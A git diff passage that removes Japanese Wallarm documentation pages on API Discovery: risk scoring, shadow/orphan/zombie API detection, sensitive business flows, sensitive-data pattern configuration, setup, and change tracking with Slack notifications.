パラメータが多いほど、攻撃ベクトルが増加します。 | 6 | -| XML / JSONオブジェクトを受け付ける | リクエストで渡されるXMLまたはJSONのオブジェクトは、攻撃者に悪意のあるXML外部エンティティやインジェクションをサーバーへ送る手段として悪用される可能性があります。 | 6 | -| サーバーへのファイルアップロードを許可 | エンドポイントは、悪意のあるコードを含むファイルがサーバーにアップロードされる[Remote Code Execution（RCE）](../attacks-vulns-list.md#remote-code-execution-rce)攻撃の標的となることがよくあります。これらのエンドポイントを保護するため、アップロードされるファイルの拡張子と内容を[OWASP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html)で推奨されているとおり適切に検証する必要があります。 | 6 | - -要因の重要度に対する考え方に合わせるため、リスクスコアの計算における各要因の重みや計算方法は[設定](#customizing-risk-score-calculation)できます。 - -## リスクスコアのレベル - -リスクスコアは`1`（最小）から`10`（最大）までです。 - -| 値 | リスクレベル | 色 | -| --------- | ----------- | --------- | -| 1〜3 | 低 | グレー | -| 4〜7 | 中 | オレンジ | -| 8〜10 | 高 | レッド | - -* `1`は、このエンドポイントにリスク要因が存在しないことを意味します。 -* 未使用のエンドポイントにはリスクスコアは表示されません（`N/A`）。 -* **Risk**列でリスクスコア順にソートします。 -* **Risk score**フィルターを使用して、`High`、`Medium`、`Low`で絞り込みます。 - -エンドポイントのリスクスコアの要因やリスク低減方法を確認するには、エンドポイントの詳細を開きます。 - -![API Discovery - リスクスコア](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -また、[米国](https://us1.my.wallarm.com/dashboard-api-discovery)または[EU](https://my.wallarm.com/dashboard-api-discovery)のCloudにある**Dashboards** → **API Discovery**で、リスクスコアレベル別のAPIの概要も確認できます。 - -## リスクスコア計算のカスタマイズ - -リスクスコアの計算における各要因の重みと計算方法を設定できます。 - -リスクスコアの計算方法を変更するには: - -1. **API Discovery**セクションで**Configure API Discovery**ボタンをクリックします。 -1. **Risk scoring**タブに切り替えます。 -1. 計算方法として、最大重みまたは平均重みを選択します。 -1. 必要に応じて、リスクスコアに影響させたくない要因を無効化します。 -1. 残りの要因の重みを設定します。 - - ![API Discovery - リスクスコアのセットアップ](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score-setup.png) - -1. 変更を保存します。数分以内に、新しい設定に従ってエンドポイントのリスクスコアをWallarmが再計算します。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/rogue-api.md b/docs/latest-ja/api-discovery/rogue-api.md deleted file mode 100644 index d321df070e..0000000000 --- a/docs/latest-ja/api-discovery/rogue-api.md +++ /dev/null @@ -1,174 +0,0 @@ -# シャドウ、オーファン、ゾンビAPI - -[API Discovery](overview.md)モジュールは、アップロードした仕様と実トラフィックを比較することで、シャドウ、オーファン、ゾンビAPIを自動的に特定します。 - -|ローグAPIの種類 | 概要 | -|--|--| -| [シャドウAPI](#shadow-api) | 適切な認可や監督なしに組織のインフラ内に存在する、未文書化のAPIです。| -| [オーファンAPI](#orphan-api) | ドキュメント化されているものの、トラフィックを受信していないAPIです。 | -| [ゾンビAPI](#zombie-api) | 無効化済みだと誰もが想定しているものの、実際にはまだ使用されている非推奨APIです。 | - -![API Discovery - ローグAPIのハイライトとフィルタリング](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## セットアップ {#setup} - -ローグAPIの検出を開始するには、仕様をアップロードし、ローグAPI検出に使用する仕様を選択し、検出パラメータを設定する必要があります。 - -仕様とAPIはどちらも時間とともに変化しますので、以下にご留意ください。 - -* 初回セットアップ後に比較を開始します。 -* APIに[変更](track-changes.md)が見つかった場合、比較を再開します。 -* その仕様の設定を新しく保存した場合、比較を再開します。 -* 新しいファイル（名前または完全なURIが異なるもの）を選択した場合、比較を再開します。 -* URIからアップロードしたファイルに変更があり、かつ**Regularly update the specification**（毎時）オプションを選択している場合、比較を再開します。 - - URIが利用できない、または更新された仕様ファイルがAPI仕様の構文に適合しない場合、自動更新中にエラーが発生することがあります。このようなエラーの通知を受け取るには、設定済みの[**Integrations**](../user-guides/settings/integrations/integrations-intro.md)で**System related**イベントを選択します。仕様のアップロードエラーに関する通知はこのカテゴリに含まれます。 - -* 仕様メニュー→**Restart comparison**から、いつでも比較を再開できます。 - -また、**API Specifications**→仕様の詳細ウィンドウ→**Download specification**から、以前にアップロードした仕様をダウンロードできます。 - -### ステップ1：仕様のアップロード - -1. [US Cloud](https://us1.my.wallarm.com/api-specifications/)または[EU Cloud](https://my.wallarm.com/api-specifications/)の**API Specifications**セクションで、**Upload specification**をクリックします。 -1. 仕様のアップロードパラメータを設定し、アップロードを開始します。 - - ![Upload specification](../images/api-specification-enforcement/specificaton-upload.png) - -仕様ファイルはAPI仕様の構文に適合するか検証され、不正な場合はアップロードされません。仕様ファイルが正常にアップロードされるまで、ローグAPI検出の設定を開始できない点にご注意ください。 - -仕様をURIからアップロードし、**Regularly update the specification**（毎時）オプションを選択した場合、定期更新中にエラーが発生することがあります（URIが利用できない、または更新ファイルがAPI仕様の構文に適合しないなど）。このようなエラーの通知を受け取るには、設定済みの[**Integrations**](../user-guides/settings/integrations/integrations-intro.md)で**System related**イベントを選択します。仕様のアップロードエラーに関する通知はこのカテゴリに含まれます。 - -### ステップ2：ローグAPI検出パラメータの設定 - -1. **Rogue APIs detection**タブをクリックします。 - - !!! info "API仕様のエンフォースメント" - ローグAPIの検出に加えて、仕様は[API仕様のエンフォースメント](../api-specification-enforcement/overview.md)にも使用できます。 - -1. **Use for rogue APIs detection**を選択します。 -1. **Applications**と**Hosts**を選択します。選択したホストに関連するエンドポイントのみがローグAPIの対象として検索されます。 - - ![API Discovery - API Specifications - ローグAPI検出のためのAPI仕様アップロード](../images/about-wallarm-waf/api-discovery/api-discovery-specification-upload.png) - -### 無効化 - -ローグAPI検出は、アップロード済み仕様（複数可）のうち**Use for rogue APIs detection**オプションが選択されているものを基に動作します。特定の仕様でこのオプションの選択を外す、またはその仕様を削除すると、次の結果になります。 - -* 当該仕様に基づくローグAPI検出が停止します。 -* 過去に当該仕様に基づいて検出されたローグAPIに関するデータが**すべて削除**されます。 - -## 検出されたローグAPIの表示 - -比較が完了すると、**API Specifications**の一覧で各仕様に対して検出されたローグ（シャドウ、オーファン、ゾンビ）APIの数が表示されます。 - -![API Specificationsセクション](../images/about-wallarm-waf/api-discovery/api-discovery-specifications.png) - -また、ローグAPIは**API Discovery**セクションにも表示されます。**Rogue APIs**フィルターを使用すると、選択した比較に関連するシャドウ、オーファン、ゾンビAPIのみを表示し、その他のエンドポイントを除外できます。 - -![API Discovery - ローグAPIのハイライトとフィルタリング](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -これらのエンドポイントの詳細画面の**Specification conflicts**セクションには、シャドウ/ゾンビ/オーファンの検出に使用された仕様が表示されます。 - -シャドウAPIは、[API Discovery Dashboard](dashboard.md)上の最もリスクの高いエンドポイントにも表示されます。 - -## 仕様バージョンとゾンビAPI - -シャドウAPIやオーファンAPIと異なり、[ゾンビAPI](#zombie-api)には異なる仕様バージョン間の比較が必要です。 - -* [セットアップ](#setup)時に**Regularly update the specification**オプションを選択している場合は、仕様をホストしているURLに新しいバージョンを配置するだけで構いません。毎時のスケジュールで処理されるか、仕様メニューから**Restart comparison**を選択した場合は即時に処理されます。 -* **Regularly update the specification**オプションを選択していない場合： - * URLからアップロードしており、そのURLの内容が新しくなっているときは、**Restart comparison**をクリックします。 - * ローカルマシンからアップロードする場合は、仕様ダイアログを開き、新しいファイルを選択して変更を保存します。ファイル名は異なる必要があります。 - -上記いずれの場合も、新しい内容は次の仕様バージョンとして扱われ、バージョン間で比較され、ゾンビAPIが表示されます。 - -## 複数の仕様の取り扱い - -APIの異なる側面を別々の仕様で記述している場合は、それらの一部またはすべてをWallarmにアップロードできます。 - -**API Discovery**セクションで**Compare to...**フィルターを使用して比較対象の仕様を選択します。選択した比較に対してのみ、**Issues**列に特別なマークでローグAPIがハイライトされます。 - -![API Discovery - ローグAPIのハイライトとフィルタリング](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## 通知の受信 - -新たに検出されたローグAPIについて、[SIEM、SOAR、ログ管理システム、またはメッセンジャー](../user-guides/settings/integrations/integrations-intro.md)に即時通知を送るには、Wallarm Consoleの**Triggers**セクションで**Rogue API detected**条件のトリガーを1つ以上設定します。 - -新たに検出されたシャドウ、オーファン、ゾンビAPIのいずれか、またはすべてに関するメッセージを受け取れます。監視したいアプリケーションやホスト、検出に使用した仕様で通知を絞り込むこともできます。 - -**通知の動作** - -* 新たに検出されたローグAPI1件につき、通知メッセージを1通送信します。 -* あるローグAPIについてすでに通知を受け取っている場合、比較を何度実行しても同じ通知は再送されません。 -* アップロード済み仕様の設定を更新すると、**オーファン**APIに関する通知はすべて再送されます（シャドウAPIおよびゾンビAPIには適用されません）。 - -**トリガー例：Slackで新たに検出されたシャドウエンドポイントの通知** - -この例では、API Discoveryが`Specification-01`に記載されていない新しいエンドポイント（シャドウAPI）を検出した場合、その通知が設定済みのSlackチャンネルに送信されます。 - -![Rogue API detectedトリガー](../images/user-guides/triggers/trigger-example-rogue-api.png) - -**トリガーをテストするには：** - -1. Wallarm Console→[US](https://us1.my.wallarm.com/integrations/)または[EU](https://my.wallarm.com/integrations/)クラウドの**Integrations**に移動し、[Slackとの連携](../user-guides/settings/integrations/slack.md)を設定します。 -1. **API Discovery**セクションで任意のAPIホストでエンドポイントをフィルタリングし、結果を仕様としてダウンロードして`Specification-01`という名前を付けます。 -1. **API Specifications**セクションに`Specification-01`をアップロードして比較します。 -1. **Triggers**セクションで、上の例と同様のトリガーを作成します。 -1. ローカルの`Specification-01`ファイルからエンドポイントを1つ削除します。 -1. **API Specifications**で、`Specification-01`を再アップロードして比較します。 -1. **Issues**列で、そのエンドポイントにシャドウAPIのマークが付いたことを確認します。 -1. Slackチャンネルに次のようなメッセージが届いていることを確認します： - - ``` - [wallarm] A new shadow endpoint has been discovered in your API - - Notification type: api_comparison_result - - The new GET example.com/users shadow endpoint has been discovered in your API. - - Client: Client-01 - Cloud: US - - Details: - - application: Application-01 - api_host: example.com - endpoint_path: /users - http_method: GET - type_of_endpoint: shadow - link: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - specification_name: Specification-01 - ``` - -## ローグAPIの種類とリスク - -### シャドウAPI {#shadow-api} - -シャドウAPIは、適切な認可や監督なしに組織のインフラ内に存在する未文書化のAPIを指します。 - -シャドウAPIはビジネスにリスクをもたらします。攻撃者がこれらを悪用して重要なシステムにアクセスしたり、機密データを窃取したり、業務を妨害したりできるためです。APIは重要データへのゲートキーパーとして機能することが多く、またさまざまなOWASP APIの脆弱性がAPIセキュリティを迂回するために悪用され得る点も、このリスクを増大させます。 - -アップロードしたAPI仕様の観点では、シャドウAPIとは、実トラフィック（API Discoveryで検出）に存在するものの、仕様に存在しないエンドポイントを指します。 - -WallarmでシャドウAPIを特定したら、仕様に不足しているエンドポイントを追加して更新し、APIインベントリ全体を見渡しながら監視とセキュリティ対策を実施できます。 - -### オーファンAPI {#orphan-api} - -オーファンAPIは、ドキュメント化されているものの、トラフィックを受信していないAPIを指します。 - -オーファンAPIが存在する場合、次のような検証プロセスを実施する理由になり得ます。 - -* トラフィックが本当に受信されていないのか、あるいはWallarmノードをすべてのトラフィックが通過するように配置していないためにWallarmから見えていないだけなのかを理解するために、Wallarmのトラフィック検査設定を確認します（誤ったトラフィックルーティング、別のWeb Gatewayが存在するのにその上にノードを配置し忘れている、など）。 -* 特定のアプリケーションが当該エンドポイントでトラフィックを一切受け取るべきでないのか、それとも何らかのミスコンフィグレーションなのかを判断します。 -* 古いエンドポイント（以前のアプリケーションバージョンでは使用され、現行では未使用）について、セキュリティチェックの工数を削減するために仕様から削除すべきかを判断します。 - -### ゾンビAPI {#zombie-api} - -ゾンビAPIは、無効化済みだと誰もが想定しているものの、実際にはまだ使用されている非推奨APIを指します。 - -ゾンビAPIのリスクは、他の未文書化（シャドウ）APIと同様ですが、より深刻な場合があります。無効化の理由が、攻撃されやすい安全でない設計であることが多いためです。 - -アップロードしたAPI仕様の観点では、ゾンビAPIとは、以前の仕様バージョンには存在し、現行バージョンには存在しない（すなわち当該エンドポイントを削除する意図があった）ものの、実トラフィック（API Discoveryで検出）には依然として存在するエンドポイントです。 - -WallarmでゾンビAPIを発見した場合、当該エンドポイントが実際に無効化されるよう、アプリケーションのAPI設定を再確認するきっかけになります。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/sbf.md b/docs/latest-ja/api-discovery/sbf.md deleted file mode 100644 index 58e066ceb9..0000000000 --- a/docs/latest-ja/api-discovery/sbf.md +++ /dev/null @@ -1,50 +0,0 @@ -# 機密性の高いビジネスフロー - -機密性の高いビジネスフロー機能により、Wallarmの[API Discovery](overview.md)は、認証、アカウント管理、課金などのビジネスフローや機能にとって重要なエンドポイントを自動的に特定します。本記事では、機密性の高いビジネスフロー機能の使い方を説明します。 - -NGINX Node 5.2.11またはNative Node 0.10.1以上が必要です。 - -## 対象となる課題 - -機密性の高いビジネスフローの乱用は、OWASP API Top 10のリスクの中で6位（[API6](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)）に位置づけられています。これらのビジネスフローを保護することで、事業継続性を確保し、機密データの漏えい、評判リスク、金銭的損害を防ぎます。 - -機密性の高いビジネスフロー機能により、Wallarmはビジネスクリティカルな機能の健全性を可視化し、次のことに役立ちます: - -* 機密性の高いビジネスフローに関連するエンドポイントを、脆弱性や侵害の観点から定期的に監視および監査します。 -* 開発・保守・セキュリティ対応における優先順位付けを行います。 -* より強固なセキュリティ対策（例: 暗号化、認証、アクセス制御、レート制限）を実装します。 -* 監査証跡やデータ保護対策の証拠を容易に作成します。 - -## 自動タグ付け - -利便性のため、API Discoveryはエンドポイントを機密性の高いビジネスフローに自動でタグ付けします。新しいエンドポイントを検出すると、そのエンドポイントが1つ以上の機密性の高いビジネスフローに該当する可能性があるかどうかを確認します: - ---8<-- "../include/default-sbf.md" - -自動チェックは、エンドポイントURL内のキーワードを用いて実行されます。例えば、`payment`、`subscription`、`purchase`といったキーワードは、そのエンドポイントを**Billing**フローに自動的に関連付けます。一方、`auth`、`token`、`login`といったキーワードは**Authentication**フローに関連付けます。一致が検出された場合、エンドポイントは適切なフローに自動的に割り当てられます。 - -自動タグ付けにより、多くの機密性の高いビジネスフローが検出されます。ただし、以下のセクションのとおり、割り当てられたビジネスフローの一覧は手動で調整することも可能です。 - -## エンドポイントの手動タグ付け - -[自動タグ付け](#automatic-tagging)の結果を調整するには、そのエンドポイントが属する機密性の高いビジネスフローの一覧を手動で編集できます。キーワード一覧に直接該当しないエンドポイントにも、手動でタグ付けできます。 - -エンドポイントが属するフローの一覧を編集するには、Wallarm ConsoleでAPI Discoveryに移動し、対象のエンドポイントの**Business flow & sensitive data**で、リストから1つ以上のフローを選択します。 - -![API Discovery - 機密性の高いビジネスフロー](../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -エンドポイントの詳細画面でも同様の操作ができます。 - -## API Sessionsにおけるビジネスフロー - -Wallarmの[API Sessions](../api-sessions/overview.md)は、ユーザー活動の全シーケンスを提供し、攻撃者のロジックをより可視化するために使用します。セッション内のリクエストが、API Discoveryで特定の機密性の高いビジネスフローにとって重要とタグ付けされたエンドポイントに影響する場合、そのセッションにも同じビジネスフローに影響するものとして自動的に[タグ付け](../api-sessions/exploring.md#sensitive-business-flows)されます。 - -セッションに機密性の高いビジネスフローのタグが付与されると、特定のビジネスフローでフィルタリングできるようになり、分析対象として重要なセッションを選びやすくなります。 - -![!API Sessions - 機密性の高いビジネスフロー](../images/api-sessions/api-sessions-sbf-no-select.png) - -## ビジネスフローによるフィルタリング - -エンドポイントに機密性の高いビジネスフローのタグが付与されると、検出されたすべてのエンドポイントを特定のビジネスフローでフィルタリングできるようになり（**Business flow**フィルター）、最も重要なビジネス機能の保護を容易にします。 - -![API Discovery - 機密性の高いビジネスフローでのフィルタリング](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/sensitive-data.md b/docs/latest-ja/api-discovery/sensitive-data.md deleted file mode 100644 index b7c825ed8a..0000000000 --- a/docs/latest-ja/api-discovery/sensitive-data.md +++ /dev/null @@ -1,74 +0,0 @@ -# 機密データ検出 - -API Discoveryは、APIが取り扱い・伝送する機密データを検出してハイライト表示し、暗号化、トークン化などのセキュリティ制御を適用して保護し、データ侵害や安全でないチャネルや未承認システムへの機密データ送信を防げるようにします。本記事では、この機能の使用方法と設定方法を説明します。 - -Wallarmの機密データ検出は、包括的なデフォルト構成ですぐに利用できます。さらに高いカスタマイズ性を備えており、既存の検出プロセスを微調整したり、検出対象を独自のデータタイプで拡張したりできます。 - -## デフォルトでの検出 - -デフォルトでは、API Discoveryは次の種類の機密データを検出します。 - -* IPアドレスやMACアドレスなどの技術データ -* シークレットキーやパスワードなどのログイン認証情報 -* クレジットカード番号などの金融データ -* 医療免許番号などの医療関連データ -* 氏名、パスポート番号、SSNなどの個人を特定できる情報（PII） - -Wallarm Consoleで、**API Discovery** → **Configure API Discovery** → **Sensitive data**に移動すると、各タイプに提供されるデフォルトの[機密データパターン](#customizing-sensitive-data-detection)の一覧を確認できます。 - -## 機密データ検出のカスタマイズ - -自社の要件やGDPR、HIPAA、PCI DSSなどの業界固有の規制に機密データ検出を完全に適合させるため、API Discoveryは検出プロセスを細かく調整できる機能を提供します（NGINX Node 5.0.3またはNative Node 0.7.0以上が必要です）。 - -カスタマイズにより、自社固有のデータ保護義務を満たせます。さらに、データフローに独自または特殊な機密データ要素が含まれる場合、それらを正確に識別するためのカスタム正規表現を定義できる点が有用です。 - -機密データ検出は、一連の機密データパターンで構成されます。各パターンは、対象となる機密データとその検索設定を定義します。API Discoveryにはデフォルトパターンのセットが付属しています。デフォルトパターンの変更や独自パターンの追加は、Wallarm Console → **API Discovery** → **Configure API Discovery** → **Sensitive data**で行えます。 - -デフォルト（出荷時）のパターンは変更・無効化でき、必要に応じて初期設定にすばやく復元できます。作成した独自パターンは、いつでも作成、変更、無効化、削除できます。 - -**信頼度スコア** - -パターンとコンテキスト語を用いて機密データ検出を構成できます。各パターンとコンテキスト語に対し`0.1`から`1.0`の信頼度スコアを設定し、その表現へのマッチや機密データの近傍に該当する文字列・語が存在することが機密データの存在を示す確からしさを指定します。適切なスコアを設定することで、より多くの実在する対象を検出し、偽陽性を減らせます。 - -スコアのしきい値`0.3`に到達または超過すると機密データが検出されます。コンテキスト語のスコアは合算し、パターンについては最大値を採用します。理解を深めるため、以下の例をご覧ください。 - -実トラフィックデータで試したうえで、信頼度スコアを調整してください。 - -**パターンベースの検出** - -期待される機密データの値にマッチさせるために、[PCRE](https://www.pcre.org/)形式の正規表現を使用します。正規表現を用いると検出はより高精度になります。異なるスコアを持つ複数のパターンを設定でき、いずれかがマッチすれば機密データが検出されます。 - -パターンは、固定長のトークンやID、URIに適しています。 - -**コンテキスト語** - -Wallarmは、パターンにマッチした疑わしい機密データの周辺にある語を参照します。コンテキスト語が見つかった場合、最終的な信頼度スコアがブーストされます。コンテキストは、URLパス、クエリパラメータ名、JSONキー、そのほか隣接するパラメータから得られます。 - -![API Discovery – Settings - Sensitive data](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd.png) - -例えば、上の図では次のように機密データが検出されます。 - -* `JWT`または`AWS access key ID`のパターンにマッチした場合は即座に検出されます。 -* `AWS key (weak)`にマッチした場合、それ単体では「検出あり」とはなりません（スコア`0.1`はしきい値`0.3`を下回ります）。 -* ただしコンテキスト語`access`（`0.1`）と`api`（`0.1`）があると合計が`0.3`となり、機密データが検出されます。 -* `auth`を必須に指定すると状況は変わります。`auth`がない場合、存在する`access`と`api`のスコアは無視され、パターンのスコアをブーストできません。 - -**コンテキスト語のみの検出** - -パターンを指定せずにコンテキスト語のみを指定した場合、Wallarmは語の存在に基づいて機密データの有無を判断します。信頼度スコアの合計が大きいほど、そのパラメータが指定した機密データを含むと判断されやすくなります。 - -コンテキストのみの検索では、語を必須として宣言する必要がある場合があります。必須語が値のコンテキストに存在しない場合、そのパラメータは機密データを含まないと見なされます。 - -例: personal_name - -コンテキスト語: - -* name -* first -* middle - -`middle_name,`にはマッチさせる必要がありますが、`name`や`middle`にはマッチさせたくありません。そのため、`name`のスコアを`0.1`に設定し、`name`単体ではマッチしないようにします。一方で「middle_name」は強い組み合わせであるため、`middle`には`0.5`という大きなスコアを与える必要があります。 - -`name,`なしで「middle」を検出しないよう、エンティティに対して`name`を必須に指定します。`name`が見つからない場合は、機密データは検出されません。 - -![API Discovery – Settings - Sensitive data - カスタムパターンの作成](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd-own-pattern.png) \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/setup.md b/docs/latest-ja/api-discovery/setup.md deleted file mode 100644 index a87cea9b71..0000000000 --- a/docs/latest-ja/api-discovery/setup.md +++ /dev/null @@ -1,48 +0,0 @@ -# API Discoveryのセットアップ - -この記事では、[API Discovery](overview.md)モジュールを有効化、構成、デバッグする方法を説明します。 - -## 有効化 - -API Discoveryは、Wallarmノードのインストール形態のうち、[自己ホスト型](../installation/supported-deployment-options.md)、[Security Edge](../installation/security-edge/overview.md)、および[Connector](../installation/connectors/overview.md)のすべてに含まれています。ノードのデプロイ時にAPI Discoveryモジュールはインストールされますが、デフォルトでは無効になっています。 - -API Discoveryを正しく有効化して動作させるには、次の手順を実行します。 - -1. [サブスクリプションプラン](../about-wallarm/subscription-plans.md#core-subscription-plans)に**API Discovery**が含まれていることを確認します。サブスクリプションプランを変更するには、[sales@wallarm.com](mailto:sales@wallarm.com)までリクエストを送信してください。 -1. Wallarm Console → **API Discovery** → **Configure API Discovery**で、API Discoveryによるトラフィック解析を有効化します。 - -API Discoveryモジュールを有効化すると、トラフィック解析とAPIインベントリの構築が開始されます。APIインベントリはWallarm Consoleの**API Discovery**セクションに表示されます。 - -## 構成 - -**API Discovery**セクションの**Configure API Discovery**ボタンをクリックすると、API Discoveryの微調整オプション（API Discoveryの対象アプリケーションの選択やリスクスコア計算のカスタマイズなど）に進みます。 - -### API Discoveryの対象アプリケーションの選択 - -すべてのアプリケーション、または選択したアプリケーションに対してのみAPI Discoveryを有効化または無効化できます。 - -1. アプリケーションが[アプリケーションの設定](../user-guides/settings/applications.md)の記事の説明どおりに追加されていることを確認します。 - - アプリケーションが設定されていない場合、すべてのAPIの構造は1つのツリーにまとめられます。 - -1. Wallarm Console → **API Discovery** → **Configure API Discovery**で、必要なアプリケーションに対してAPI Discoveryを有効化します。 - - ![API Discovery – Settings](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - -**Settings** → **[Applications](../user-guides/settings/applications.md)**で新しいアプリケーションを追加すると、**disabled**の状態でAPI Discoveryの対象アプリケーション一覧に自動的に追加されます。 - -### リスクスコア計算のカスタマイズ - -[リスクスコア](risk-score.md)の計算における各要素の重みや計算方法を設定できます。 - -### 機密データ検出のカスタマイズ - -API Discoveryは、APIで扱われる機密データを[検出してハイライト表示](sensitive-data.md)します。既存の検出プロセスを微調整し、検出対象を独自のデータ型で拡張できます。 - -現在の構成を表示して変更するには、Wallarm Consoleで**API Discovery** → **Configure API Discovery** → **Sensitive data**に移動します。ここでは、既存の機密データパターンの確認と変更、独自パターンの追加ができます。 - -[詳細はこちら→](sensitive-data.md#customizing-sensitive-data-detection) - -## デバッグ - -API Discoveryのログを取得して分析するには、ノードが稼働しているLinuxマシン上のログファイル`/opt/wallarm/var/log/wallarm/appstructure-out.log`を参照できます。 \ No newline at end of file diff --git a/docs/latest-ja/api-discovery/track-changes.md b/docs/latest-ja/api-discovery/track-changes.md deleted file mode 100644 index eef5bffcd3..0000000000 --- a/docs/latest-ja/api-discovery/track-changes.md +++ /dev/null @@ -1,93 +0,0 @@ -# APIの変更の追跡 - -APIに変更が発生すると、[API Discovery](overview.md)は構築済みのAPIインベントリを更新し、変更点を強調表示し、いつ何が変更されたかの情報を提供します。さらに、これらの変更のすべてまたは一部について通知を設定できます。 - -![API Discovery - 変更の追跡](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -企業には複数のチーム、異なるプログラミング言語、さまざまなフレームワークが存在する場合があります。このため、変更はさまざまなソースからいつでもAPIに入り込み、管理が難しくなります。セキュリティ担当者にとっては、変更を可能な限り早く検知して分析することが重要です。見逃すと、例えば次のようなリスクが生じる可能性があります。 - -* 開発チームが別個のAPIを持つサードパーティライブラリを使い始めても、セキュリティ担当者に通知しない場合があります。その結果、監視されず脆弱性チェックも行われていないエンドポイントが生まれ、攻撃経路となり得ます。 -* エンドポイントにPIIデータが送られ始めます。計画外のPII転送は、規制要件へのコンプライアンス違反や評判上のリスクにつながる可能性があります。 -* ビジネスロジック上で重要なエンドポイント（例：`/login`、`/order/{order_id}/payment/`）が呼び出されなくなります。 -* `is_admin`のような、本来送るべきではないパラメータ（誰かがエンドポイントへアクセスし、管理者権限での操作を試みている）がエンドポイントに送られ始めます。 - -## APIの変更の強調表示 - -**API Discovery**セクションを開くたびに、**Changes since**フィルターは`Last week`に設定され、直近1週間に発生した変更が強調表示されます。期間を変更するには、**Changes since**フィルターで日付を再設定します。 - -エンドポイント一覧では、次のラベルでAPIの変更が強調表示されます。 - -- 期間内に一覧へ追加されたエンドポイントには**New**が表示されます。 -- 期間内に新規に検出されたパラメータがある、または`Unused`ステータスになったパラメータがあるエンドポイントには**Changed**が表示されます。エンドポイントの詳細では、そのようなパラメータに対応するラベルが表示されます。 - - * パラメータは、期間内に検出された場合、`New`ステータスになります。 - * パラメータは、7日間データを一切受け渡さない場合、`Unused`ステータスになります。 - * その後`Unused`ステータスのパラメータが再びデータを受け渡した場合は、`Unused`ステータスが解除されます。 - -- 期間内に`Unused`ステータスになったエンドポイントには**Unused**が表示されます。 - - * エンドポイントは、7日間リクエストされない（応答コード200が返らない）場合、`Unused`ステータスになります。 - * その後`Unused`ステータスのエンドポイントに再びリクエストがあり（応答コード200が返る）、`Unused`ステータスが解除されます。 - -どの期間を選択しても、**New**、**Changed**、**Unused**のいずれのマークも表示されない場合は、その期間にAPIの変更はありません。 - -![API Discovery - 変更の追跡](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -rogueとしてマークされたエンドポイント向けの簡単なヒント： - -* **New**、**Changed**、**Unused**ラベルにマウスオーバーすると、変更が発生した時期を確認できます。 -* **Changed**のエンドポイントの詳細に移動すると、このステータスの理由（**New**になったパラメータや**Unused**ステータスになったパラメータ）を確認できます。ラベルにマウスオーバーすると、パラメータの変更が発生した時期を確認できます。 -* 直近7日間のすべての種類の変更のカウンターは[API Discovery Dashboard](dashboard.md)に表示されます。 - -## APIの変更のフィルタリング - -**API Discovery**セクションで**Changes since**フィルターを使用すると、選択した期間に変更されたエンドポイントのみが強調表示されますが、変更のないエンドポイントは除外されません。 - -**Changes in API**フィルターは動作が異なり、選択した期間に変更されたエンドポイントのみを表示し、それ以外はすべて除外します。 - -例を考えます。今日時点でAPIには10個のエンドポイントがあります（以前は12個ありましたが、そのうち3個は10日前にUnusedとしてマークされました）。この10個のうち1つは昨日追加され、2つはパラメータに変更があり、1つは5日前、もう1つは10日前に発生しました。 - -* 今日**API Discovery**セクションを開くたびに、**Changes since**フィルターは`Last week`に設定されます。ページには10個のエンドポイントが表示され、**Changes**列では1つに**New**、1つに**Changed**マークが表示されます。 -* **Changes since**を`Last 2 weeks`に切り替えると、13個のエンドポイントが表示され、**Changes**列では1つに**New**、2つに**Changed**、3つに**Unused**マークが表示されます。 -* **Changes in API**を`Unused endpoints`に設定すると、3個のエンドポイントのみが表示され、すべて**Unused**マークが付きます。 -* **Changes in API**を`New endpoints + Unused endpoints`に変更すると、4個のエンドポイントが表示され、3つに**Unused**、1つに**New**マークが付きます。 -* **Changes since**を`Last week`に戻すと、1個のエンドポイントのみが表示され、**New**マークが付きます。 - -## 通知の受信 - -APIの変更についてメッセンジャー、SIEM、またはログ管理システムに即時通知を送るには、**Changes in API**条件を持つ[triggers](../user-guides/triggers/triggers.md)を構成します。 - -新規、変更あり、または未使用のエンドポイントに関するメッセージ、あるいはそれらすべての変更に関するメッセージを受け取ることができます。監視したいアプリケーションやホスト、および含まれる機密データの種類で通知を絞り込むこともできます。 - -**Triggerの例: Slackでの新規エンドポイント通知** - -この例では、API Discoveryモジュールが`example.com`のAPIホストで新規エンドポイントを検出した場合、設定済みのSlackチャンネルにその旨の通知が送信されます。 - -![Changes in APIトリガー](../images/user-guides/triggers/trigger-example-changes-in-api.png) - -**トリガーをテストするには：** - -1. [US](https://us1.my.wallarm.com/integrations/)または[EU](https://my.wallarm.com/integrations/)クラウドのWallarm Console → **Integrations**に移動し、[Slackとの連携](../user-guides/settings/integrations/slack.md)を構成します。 -1. **Triggers**セクションで、上記のとおりTriggerを作成します。 -1. `example.com/users`エンドポイントに対して、`200`（`OK`）の応答が得られるように複数のリクエストを送信します。 -1. **API Discovery**セクションで、エンドポイントが**New**マーク付きで追加されたことを確認します。 -1. Slackチャンネルに次のようなメッセージが届いていることを確認します： - ``` - [wallarm] APIに新しいエンドポイントが検出されました - - Notification type: api_structure_changed - - APIで新しいGET example.com/usersエンドポイントが検出されました。 - - Client: Client 001 - Cloud: US - - Details: - - application: Application 1802 - domain: example.com - endpoint_path: /users - http_method: GET - change_type: added - link: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - ``` \ No newline at end of file diff --git a/docs/latest-ja/api-protection/business-logic-abuse-detection.md b/docs/latest-ja/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 06d98b40c5..0000000000 --- 